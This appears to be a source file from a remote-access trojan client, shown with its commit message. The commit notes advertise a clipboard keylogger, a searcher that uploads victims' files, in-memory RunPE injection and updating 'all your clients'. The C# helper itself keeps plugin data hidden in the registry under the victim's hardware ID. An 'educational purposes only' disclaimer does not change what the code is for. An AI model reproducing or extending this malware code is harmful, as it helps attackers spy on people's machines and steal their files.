NYAN CAT 1e193d7e14 Update
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
updated plugin save method
updated runpe send to memory
minor improvements

```diff
- You need to create a new stub from this version, and then use your old version to update all your clients, otherwise you won't be able to use the new plugins
```
2020-04-21 19:48:58 +03:00

90 lines
2.3 KiB
C#

using Client.Handle_Packet;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Client.Helper
{
public static class SetRegistry
{
private static readonly string ID = @"Software\" + Settings.Hwid;
/*
* Author : NYAN CAT
* Name : Lime Registry DB
* Contact Me : https:github.com/NYAN-x-CAT
* This program is distributed for educational purposes only.
*/
public static bool SetValue(string name, byte[] value)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(name, value, RegistryValueKind.Binary);
return true;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
public static byte[] GetValue(string value)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
{
object o = key.GetValue(value);
return (byte[])o;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return null;
}
public static bool DeleteValue(string name)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
{
key.DeleteValue(name);
return true;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
public static bool DeleteSubKey()
{
try
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true))
{
key.DeleteSubKeyTree(ID);
return true;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
}
}